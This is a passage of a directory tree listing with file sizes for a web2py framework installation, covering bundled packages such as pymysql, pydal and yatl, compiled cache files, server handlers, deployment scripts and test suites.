│ │ │ │ │ ├── [1009] COMMAND.cpython-37.pyc
│ │ │ │ │ ├── [ 17K] ER.cpython-311.pyc
│ │ │ │ │ ├── [ 15K] ER.cpython-37.pyc
│ │ │ │ │ ├── [ 847] FIELD_TYPE.cpython-311.pyc
│ │ │ │ │ ├── [ 737] FIELD_TYPE.cpython-37.pyc
│ │ │ │ │ ├── [ 537] FLAG.cpython-311.pyc
│ │ │ │ │ ├── [ 474] FLAG.cpython-37.pyc
│ │ │ │ │ ├── [ 198] __init__.cpython-311.pyc
│ │ │ │ │ ├── [ 176] __init__.cpython-37.pyc
│ │ │ │ │ ├── [ 637] SERVER_STATUS.cpython-311.pyc
│ │ │ │ │ └── [ 577] SERVER_STATUS.cpython-37.pyc
│ │ │ │ └── [ 334] SERVER_STATUS.py
│ │ │ ├── [ 12K] converters.py
│ │ │ ├── [ 16K] cursors.py
│ │ │ ├── [3.5K] err.py
│ │ │ ├── [4.4K] __init__.py
│ │ │ ├── [1.0K] LICENSE
│ │ │ ├── [ 522] optionfile.py
│ │ │ ├── [4.0K] __pycache__
│ │ │ │ ├── [ 28K] charset.cpython-311.pyc
│ │ │ │ ├── [ 11K] charset.cpython-37.pyc
│ │ │ │ ├── [ 834] _compat.cpython-311.pyc
│ │ │ │ ├── [ 580] _compat.cpython-37.pyc
│ │ │ │ ├── [ 77K] connections.cpython-311.pyc
│ │ │ │ ├── [ 43K] connections.cpython-37.pyc
│ │ │ │ ├── [ 19K] converters.cpython-311.pyc
│ │ │ │ ├── [ 12K] converters.cpython-37.pyc
│ │ │ │ ├── [ 26K] cursors.cpython-311.pyc
│ │ │ │ ├── [ 16K] cursors.cpython-37.pyc
│ │ │ │ ├── [6.5K] err.cpython-311.pyc
│ │ │ │ ├── [4.7K] err.cpython-37.pyc
│ │ │ │ ├── [6.0K] __init__.cpython-311.pyc
│ │ │ │ ├── [4.4K] __init__.cpython-37.pyc
│ │ │ │ ├── [1.3K] optionfile.cpython-311.pyc
│ │ │ │ ├── [ 881] optionfile.cpython-37.pyc
│ │ │ │ ├── [1.1K] times.cpython-311.pyc
│ │ │ │ ├── [ 748] times.cpython-37.pyc
│ │ │ │ ├── [ 987] util.cpython-311.pyc
│ │ │ │ └── [ 661] util.cpython-37.pyc
│ │ │ ├── [1.1K] README.rst
│ │ │ ├── [4.0K] _socketio.py
│ │ │ ├── [4.0K] tests
│ │ │ │ ├── [2.6K] base.py
│ │ │ │ ├── [4.0K] data
│ │ │ │ │ ├── [111K] load_local_data.txt
│ │ │ │ │ └── [ 249] load_local_warn_data.txt
│ │ │ │ ├── [ 600] __init__.py
│ │ │ │ ├── [ 14K] test_basic.py
│ │ │ │ ├── [ 24K] test_connection.py
│ │ │ │ ├── [2.1K] test_converters.py
│ │ │ │ ├── [3.9K] test_cursor.py
│ │ │ │ ├── [4.5K] test_DictCursor.py
│ │ │ │ ├── [ 670] test_err.py
│ │ │ │ ├── [ 649] test_example.py
│ │ │ │ ├── [ 20K] test_issues.py
│ │ │ │ ├── [3.5K] test_load_local.py
│ │ │ │ ├── [1.8K] test_nextset.py
│ │ │ │ ├── [ 720] test_optionfile.py
│ │ │ │ ├── [3.8K] test_SSCursor.py
│ │ │ │ └── [4.0K] thirdparty
│ │ │ │ ├── [ 170] __init__.py
│ │ │ │ └── [4.0K] test_MySQLdb
│ │ │ │ ├── [10.0K] capabilities.py
│ │ │ │ ├── [ 31K] dbapi20.py
│ │ │ │ ├── [ 243] __init__.py
│ │ │ │ ├── [3.2K] test_MySQLdb_capabilities.py
│ │ │ │ ├── [7.6K] test_MySQLdb_dbapi20.py
│ │ │ │ └── [3.1K] test_MySQLdb_nonstandard.py
│ │ │ ├── [ 360] times.py
│ │ │ └── [ 332] util.py
│ │ ├── [104K] pypyodbc.py
│ │ ├── [4.0K] pyrtf
│ │ │ ├── [4.0K] Constants.py
│ │ │ ├── [ 32K] Elements.py
│ │ │ ├── [ 316] __init__.py
│ │ │ ├── [ 14K] PropertySets.py
│ │ │ ├── [ 295] README
│ │ │ ├── [ 25K] Renderer.py
│ │ │ └── [3.2K] Styles.py
│ │ ├── [4.0K] pysimplesoap
│ │ │ ├── [ 16K] c14n.py
│ │ │ ├── [ 42K] client.py
│ │ │ ├── [ 27K] helpers.py
│ │ │ ├── [ 309] __init__.py
│ │ │ ├── [ 998] plugins.py
│ │ │ ├── [ 25K] server.py
│ │ │ ├── [ 22K] simplexml.py
│ │ │ ├── [10.0K] transport.py
│ │ │ ├── [ 10K] wsse.py
│ │ │ └── [8.1K] xmlsec.py
│ │ ├── [4.0K] pyuca
│ │ │ ├── [1.6M] allkeys.txt
│ │ │ ├── [ 231] __init__.py
│ │ │ ├── [1.1K] LICENSE
│ │ │ ├── [4.8K] pyuca.py
│ │ │ └── [1.6K] README.markmin
│ │ ├── [ 11K] redis_cache.py
│ │ ├── [ 31K] redis_scheduler.py
│ │ ├── [9.8K] redis_session.py
│ │ ├── [1.8K] redis_utils.py
│ │ ├── [ 16K] rss2.py
│ │ ├── [9.3K] shell.py
│ │ ├── [ 227] simplejson.py
│ │ ├── [5.2K] simplejsonrpc.py
│ │ ├── [4.2K] sms_utils.py
│ │ ├── [ 31K] spreadsheet.py
│ │ ├── [9.3K] stripe.py
│ │ ├── [8.1K] taskbar_widget.py
│ │ ├── [3.5K] timecollect.py
│ │ ├── [ 17K] user_agent_parser.py
│ │ ├── [7.9K] webclient.py
│ │ └── [8.9K] websocket_messaging.py
│ ├── [6.7K] custom_import.py
│ ├── [1.3K] dal.py
│ ├── [5.5K] debug.py
│ ├── [3.1K] decoder.py
│ ├── [2.1K] digest.py
│ ├── [ 15K] fileutils.py
│ ├── [8.8K] form.py
│ ├── [ 51K] globals.py
│ ├── [ 13K] highlight.py
│ ├── [ 90K] html.py
│ ├── [6.2K] http.py
│ ├── [5.0K] import_all.py
│ ├── [3.0K] __init__.py
│ ├── [ 39K] languages.py
│ ├── [ 30K] main.py
│ ├── [ 953] messageboxhandler.py
│ ├── [ 16K] newcron.py
│ ├── [4.0K] packages
│ │ ├── [4.0K] dal
│ │ │ ├── [1.3K] appveyor.yml
│ │ │ ├── [ 344] AUTHORS
│ │ │ ├── [6.4K] CHANGES
│ │ │ ├── [4.0K] docs
│ │ │ │ ├── [7.9K] conf.py
│ │ │ │ ├── [ 833] index.rst
│ │ │ │ ├── [6.6K] Makefile
│ │ │ │ ├── [2.8K] pydal.adapters.rst
│ │ │ │ ├── [ 664] pydal.helpers.rst
│ │ │ │ └── [ 29] requirements.txt
│ │ │ ├── [1.5K] LICENSE.txt
│ │ │ ├── [ 440] Makefile
│ │ │ ├── [ 166] MANIFEST.in
│ │ │ ├── [4.0K] pydal
│ │ │ │ ├── [4.0K] adapters
│ │ │ │ │ ├── [ 38K] base.py
│ │ │ │ │ ├── [5.6K] couchdb.py
│ │ │ │ │ ├── [2.0K] db2.py
│ │ │ │ │ ├── [3.1K] firebird.py
│ │ │ │ │ ├── [ 18K] google.py
│ │ │ │ │ ├── [2.0K] informix.py
│ │ │ │ │ ├── [1.8K] ingres.py
│ │ │ │ │ ├── [2.3K] __init__.py
│ │ │ │ │ ├── [ 37K] mongo.py
│ │ │ │ │ ├── [6.0K] mssql.py
│ │ │ │ │ ├── [3.3K] mysql.py
│ │ │ │ │ ├── [9.0K] oracle.py
│ │ │ │ │ ├── [9.1K] postgres.py
│ │ │ │ │ ├── [1.4K] sap.py
│ │ │ │ │ ├── [4.8K] snowflake.py
│ │ │ │ │ ├── [4.3K] sqlite.py
│ │ │ │ │ └── [ 799] teradata.py
│ │ │ │ ├── [ 38K] base.py
│ │ │ │ ├── [5.3K] _compat.py
│ │ │ │ ├── [6.3K] connection.py
│ │ │ │ ├── [4.0K] contrib
│ │ │ │ │ ├── [ 44K] imap_adapter.py
│ │ │ │ │ ├── [ 1] __init__.py
│ │ │ │ │ ├── [ 78K] ipaddress.py
│ │ │ │ │ ├── [ 10K] mockimaplib.py
│ │ │ │ │ ├── [4.0K] ordereddict.py
│ │ │ │ │ ├── [5.5K] portalocker.py
│ │ │ │ │ └── [ 33K] reserved_sql_keywords.py
│ │ │ │ ├── [3.5K] default_validators.py
│ │ │ │ ├── [4.0K] dialects
│ │ │ │ │ ├── [ 23K] base.py
│ │ │ │ │ ├── [1.4K] couchdb.py
│ │ │ │ │ ├── [3.3K] db2.py
│ │ │ │ │ ├── [4.2K] firebird.py
│ │ │ │ │ ├── [5.8K] google.py
│ │ │ │ │ ├── [3.2K] informix.py
│ │ │ │ │ ├── [3.8K] ingres.py
│ │ │ │ │ ├── [3.7K] __init__.py
│ │ │ │ │ ├── [ 22K] mongo.py
│ │ │ │ │ ├── [ 15K] mssql.py
│ │ │ │ │ ├── [3.3K] mysql.py
│ │ │ │ │ ├── [8.5K] oracle.py
│ │ │ │ │ ├── [ 14K] postgre.py
│ │ │ │ │ ├── [2.9K] sap.py
│ │ │ │ │ ├── [ 12K] snowflake.py
│ │ │ │ │ ├── [4.2K] sqlite.py
│ │ │ │ │ └── [3.3K] teradata.py
│ │ │ │ ├── [3.1K] drivers.py
│ │ │ │ ├── [ 347] exceptions.py
│ │ │ │ ├── [ 466] _gae.py
│ │ │ │ ├── [ 208] _globals.py
│ │ │ │ ├── [4.0K] helpers
│ │ │ │ │ ├── [ 16K] classes.py
│ │ │ │ │ ├── [ 971] gae.py
│ │ │ │ │ ├── [ 1] __init__.py
│ │ │ │ │ ├── [ 652] _internals.py
│ │ │ │ │ ├── [ 14K] methods.py
│ │ │ │ │ ├── [1.1K] regex.py
│ │ │ │ │ ├── [ 16K] rest.py
│ │ │ │ │ └── [1.8K] serializers.py
│ │ │ │ ├── [ 179] __init__.py
│ │ │ │ ├── [ 396] _load.py
│ │ │ │ ├── [ 27K] migrator.py
│ │ │ │ ├── [126K] objects.py
│ │ │ │ ├── [4.0K] parsers
│ │ │ │ │ ├── [4.6K] base.py
│ │ │ │ │ ├── [ 360] google.py
│ │ │ │ │ ├── [3.3K] __init__.py
│ │ │ │ │ ├── [1.6K] mongo.py
│ │ │ │ │ ├── [1.6K] oracle.py
│ │ │ │ │ ├── [ 815] postgre.py
│ │ │ │ │ └── [1.0K] sqlite.py
│ │ │ │ ├── [4.0K] representers
│ │ │ │ │ ├── [8.6K] base.py
│ │ │ │ │ ├── [1.2K] couchdb.py
│ │ │ │ │ ├── [ 680] db2.py
│ │ │ │ │ ├── [1.4K] google.py
│ │ │ │ │ ├── [ 884] informix.py
│ │ │ │ │ ├── [8.6K] __init__.py
│ │ │ │ │ ├── [1.7K] mongo.py
│ │ │ │ │ ├── [ 948] mssql.py
│ │ │ │ │ ├── [ 214] mysql.py
│ │ │ │ │ ├── [1.3K] oracle.py
│ │ │ │ │ ├── [1.6K] postgre.py
│ │ │ │ │ └── [ 752] sqlite.py
│ │ │ │ ├── [ 22K] restapi.py
│ │ │ │ ├── [4.0K] tools
│ │ │ │ │ ├── [ 1] __init__.py
│ │ │ │ │ └── [1.9K] tags.py
│ │ │ │ ├── [1.9K] utils.py
│ │ │ │ └── [155K] validators.py
│ │ │ ├── [2.0K] README.md
│ │ │ ├── [ 60] setup.cfg
│ │ │ ├── [2.1K] setup.py
│ │ │ ├── [4.0K] tests
│ │ │ │ ├── [ 954] _adapt.py
│ │ │ │ ├── [7.9K] base.py
│ │ │ │ ├── [2.5K] caching.py
│ │ │ │ ├── [ 95] _compat.py
│ │ │ │ ├── [4.8K] contribs.py
│ │ │ │ ├── [ 764] _helpers.py
│ │ │ │ ├── [2.2K] indexes.py
│ │ │ │ ├── [ 355] __init__.py
│ │ │ │ ├── [ 29K] is_url_validators.py
│ │ │ │ ├── [ 98K] nosql.py
│ │ │ │ ├── [ 14K] restapi.py
│ │ │ │ ├── [ 12K] smart_query.py
│ │ │ │ ├── [134K] sql.py
│ │ │ │ ├── [ 989] tags.py
│ │ │ │ ├── [3.5K] validation.py
│ │ │ │ └── [ 66K] validators.py
│ │ │ └── [1.0K] tox.ini
│ │ └── [4.0K] yatl
│ │ ├── [1.5K] LICENSE.txt
│ │ ├── [ 424] Makefile
│ │ ├── [1.6K] README.md
│ │ ├── [1.7K] setup.py
│ │ ├── [4.0K] tests
│ │ │ ├── [ 56] __init__.py
│ │ │ ├── [7.1K] test_helpers.py
│ │ │ └── [6.1K] test_template.py
│ │ ├── [ 190] tox.ini
│ │ └── [4.0K] yatl
│ │ ├── [ 18K] helpers.py
│ │ ├── [ 77] __init__.py
│ │ ├── [7.4K] sanitizer.py
│ │ └── [ 33K] template.py
│ ├── [4.0K] __pycache__
│ │ ├── [ 18K] admin.cpython-311.pyc
│ │ ├── [ 11K] admin.cpython-37.pyc
│ │ ├── [ 50K] authapi.cpython-311.pyc
│ │ ├── [ 27K] authapi.cpython-37.pyc
│ │ ├── [ 37K] cache.cpython-311.pyc
│ │ ├── [ 24K] cache.cpython-37.pyc
│ │ ├── [2.2K] cfs.cpython-311.pyc
│ │ ├── [1.5K] cfs.cpython-37.pyc
│ │ ├── [ 209] _compat.cpython-311.pyc
│ │ ├── [ 179] _compat.cpython-37.pyc
│ │ ├── [ 37K] compileapp.cpython-311.pyc
│ │ ├── [ 21K] compileapp.cpython-37.pyc
│ │ ├── [ 36K] console.cpython-311.pyc
│ │ ├── [ 22K] console.cpython-37.pyc
│ │ ├── [ 40K] contenttype.cpython-311.pyc
│ │ ├── [ 23K] contenttype.cpython-37.pyc
│ │ ├── [8.1K] custom_import.cpython-311.pyc
│ │ ├── [4.7K] custom_import.cpython-37.pyc
│ │ ├── [2.1K] dal.cpython-311.pyc
│ │ ├── [1.5K] dal.cpython-37.pyc
│ │ ├── [2.7K] decoder.cpython-311.pyc
│ │ ├── [1.7K] decoder.cpython-37.pyc
│ │ ├── [ 25K] fileutils.cpython-311.pyc
│ │ ├── [ 13K] fileutils.cpython-37.pyc
│ │ ├── [ 60K] globals.cpython-311.pyc
│ │ ├── [ 32K] globals.cpython-37.pyc
│ │ ├── [ 17K] highlight.cpython-311.pyc
│ │ ├── [9.4K] highlight.cpython-37.pyc
│ │ ├── [123K] html.cpython-311.pyc
│ │ ├── [ 79K] html.cpython-37.pyc
│ │ ├── [9.2K] http.cpython-311.pyc
│ │ ├── [5.7K] http.cpython-37.pyc
│ │ ├── [3.1K] __init__.cpython-311.pyc
│ │ ├── [2.4K] __init__.cpython-37.pyc
│ │ ├── [ 54K] languages.cpython-311.pyc
│ │ ├── [ 32K] languages.cpython-37.pyc
│ │ ├── [ 32K] main.cpython-311.pyc
│ │ ├── [ 17K] main.cpython-37.pyc
│ │ ├── [2.7K] messageboxhandler.cpython-311.pyc
│ │ ├── [1.5K] messageboxhandler.cpython-37.pyc
│ │ ├── [ 29K] newcron.cpython-311.pyc
│ │ ├── [ 14K] newcron.cpython-37.pyc
│ │ ├── [4.1K] recfile.cpython-311.pyc
│ │ ├── [1.9K] recfile.cpython-37.pyc
│ │ ├── [ 16K] restricted.cpython-311.pyc
│ │ ├── [8.3K] restricted.cpython-37.pyc
│ │ ├── [ 62K] rewrite.cpython-311.pyc
│ │ ├── [ 30K] rewrite.cpython-37.pyc
│ │ ├── [ 76K] rocket.cpython-311.pyc
│ │ ├── [ 38K] rocket.cpython-37.pyc
│ │ ├── [ 14K] serializers.cpython-311.pyc
│ │ ├── [7.5K] serializers.cpython-37.pyc
│ │ ├── [1.8K] settings.cpython-311.pyc
│ │ ├── [1010] settings.cpython-37.pyc
│ │ ├── [ 22K] shell.cpython-311.pyc
│ │ ├── [ 11K] shell.cpython-37.pyc
│ │ ├── [188K] sqlhtml.cpython-311.pyc
│ │ ├── [ 95K] sqlhtml.cpython-37.pyc
│ │ ├── [ 14K] storage.cpython-311.pyc
│ │ ├── [ 10K] storage.cpython-37.pyc
│ │ ├── [5.9K] streamer.cpython-311.pyc
│ │ ├── [3.0K] streamer.cpython-37.pyc
│ │ ├── [ 261] template.cpython-311.pyc
│ │ ├── [ 219] template.cpython-37.pyc
│ │ ├── [313K] tools.cpython-311.pyc
│ │ ├── [168K] tools.cpython-37.pyc
│ │ ├── [ 22K] utils.cpython-311.pyc
│ │ ├── [ 12K] utils.cpython-37.pyc
│ │ ├── [ 400] validators.cpython-311.pyc
│ │ ├── [ 324] validators.cpython-37.pyc
│ │ ├── [ 47K] widget.cpython-311.pyc
│ │ └── [ 22K] widget.cpython-37.pyc
│ ├── [2.0K] recfile.py
│ ├── [ 11K] restricted.py
│ ├── [ 54K] rewrite.py
│ ├── [ 58K] rocket.py
│ ├── [1.9K] rocket.py.footer
│ ├── [ 36] sanitizer.py
│ ├── [ 68K] scheduler.py
│ ├── [8.0K] serializers.py
│ ├── [1.3K] settings.py
│ ├── [ 15K] shell.py
│ ├── [155K] sqlhtml.py
│ ├── [ 761] sql.py
│ ├── [8.7K] storage.py
│ ├── [4.6K] streamer.py
│ ├── [ 49] template.py
│ ├── [4.0K] tests
│ │ ├── [ 694] coverage.ini
│ │ ├── [ 884] fix_path.py
│ │ ├── [ 731] __init__.py
│ │ ├── [7.1K] test_appadmin.py
│ │ ├── [7.5K] test_authapi.py
│ │ ├── [5.3K] test_cache.py
│ │ ├── [2.6K] test_compileapp.py
│ │ ├── [1.1K] test_contenttype.py
│ │ ├── [2.0K] test_contribs.py
│ │ ├── [2.6K] test_cron.py
│ │ ├── [3.0K] test_dal.py
│ │ ├── [1.1K] test_fileutils.py
│ │ ├── [ 11K] test_globals.py
│ │ ├── [ 40K] test_html.py
│ │ ├── [1.0K] test_http.py
│ │ ├── [ 14K] test_languages.py
│ │ ├── [ 578] test_old_doctests.py
│ │ ├── [2.5K] test_recfile.py
│ │ ├── [2.9K] test_redis.py
│ │ ├── [ 279] test_rocket.py
│ │ ├── [ 76K] test_router.py
│ │ ├── [ 19K] test_routes.py
│ │ ├── [ 33K] test_scheduler.py
│ │ ├── [2.4K] test_serializers.py
│ │ ├── [ 11K] test_sqlhtml.py
│ │ ├── [4.3K] test_storage.py
│ │ ├── [ 68K] test_tools.py
│ │ ├── [7.6K] test_utils.py
│ │ └── [5.4K] test_web.py
│ ├── [264K] tools.py
│ ├── [ 29K] utf8.py
│ ├── [ 14K] utils.py
│ ├── [ 132] validators.py
│ ├── [ 32K] widget.py
│ └── [ 849] xmlrpc.py
├── [4.0K] handlers
│ ├── [1.6K] cgihandler.py
│ ├── [1.6K] fcgihandler.py
│ ├── [3.3K] gaehandler.py
│ ├── [1.4K] isapiwsgihandler.py
│ ├── [6.1K] modpythonhandler.py
│ ├── [ 164] README
│ ├── [2.2K] scgihandler.py
│ ├── [3.6K] web2py_on_gevent.py
│ └── [ 980] wsgihandler.py
├── [ 24K] httpserver.log
├── [ 5] httpserver.pid
├── [5.6K] LICENSE
├── [3.9K] logging.conf
├── [9.0K] Makefile
├── [ 24] MANIFEST.in
├── [ 14] parameters_8000.py
├── [3.8K] README.markdown
├── [4.0K] scripts
│ ├── [2.1K] access.wsgi
│ ├── [4.9K] autoroutes.py
│ ├── [1.3K] check_lang_progress.py
│ ├── [4.3K] contentparser.py
│ ├── [ 24K] cpdb.py
│ ├── [ 855] cpplugin.py
│ ├── [3.7K] dict_diff.py
│ ├── [ 293] drop-pgsql-tables.sh
│ ├── [ 13K] extract_mssql_models.py
│ ├── [4.7K] extract_mysql_models.py
│ ├── [ 10K] extract_oracle_models.py
│ ├── [ 10K] extract_pgsql_models.py
│ ├── [4.4K] extract_sqlite_models.py
│ ├── [ 646] fixws.py
│ ├── [3.4K] import_static.py
│ ├── [1.5K] lang_update_from_langfile.py
│ ├── [2.5K] make_min_web2py.py
│ ├── [1.3K] migrator.py
│ ├── [4.5K] nginx_scgi.conf
│ ├── [1020] parse_top_level_domains.py
│ ├── [ 811] rmorphans.py
│ ├── [8.3K] sessions2trash.py
│ ├── [1.1K] setup-scheduler-centos.sh
│ ├── [6.7K] setup-web2py-centos7.sh
│ ├── [ 329] setup-web2py-cloudfoundry.sh
│ ├── [4.4K] setup-web2py-debian-sid.sh
│ ├── [9.7K] setup-web2py-fedora-ami.sh
│ ├── [9.8K] setup-web2py-fedora.sh
│ ├── [ 433] setup-web2py-heroku.sh
│ ├── [5.9K] setup-web2py-nginx-uwsgi-centos64.sh
│ ├── [6.5K] setup-web2py-nginx-uwsgi-centos7.sh
│ ├── [7.6K] setup-web2py-nginx-uwsgi-centos8.sh
│ ├── [8.9K] setup-web2py-nginx-uwsgi-on-centos.sh
│ ├── [6.1K] setup-web2py-nginx-uwsgi-opensuse.sh
│ ├── [6.7K] setup-web2py-nginx-uwsgi-ubuntu-focal.sh
│ ├── [7.4K] setup-web2py-nginx-uwsgi-ubuntu.sh
│ ├── [4.5K] setup-web2py-ubuntu-focal.sh
│ ├── [4.6K] setup-web2py-ubuntu.sh
│ ├── [5.8K] setup-web2py-ws2012r2.ps1
│ ├── [1.7K] standalone_exe_cxfreeze.py
│ ├── [2.0K] sync_languages.py
│ ├── [1.4K] tickets2db.py
│ ├── [1.1K] tickets2email.py
│ ├── [2.3K] tickets2slack.py
│ ├── [2.6K] update_languages.py
│ ├── [1.3K] update-web2py.sh
│ ├── [1.0K] web2py.archlinux.sh
│ ├── [1.8K] web2py.fedora.sh
│ ├── [ 417] web2py-lock.sh
│ ├── [ 575] web2py-scheduler.conf
│ ├── [6.2K] web2py.ubuntu.sh
│ └── [1.5K] zip_static_files.py
├── [ 90] SECURITY.md
├── [4.1K] setupbase.py
├── [3.9K] setup.py
├── [4.0K] site-packages
│ └── [ 1] __init__.py
├── [ 337] tox.ini
├── [ 52] VERSION
├── [1.5K] web2py.py
└── [386K] welcome.w2p
253 directories, 1594 files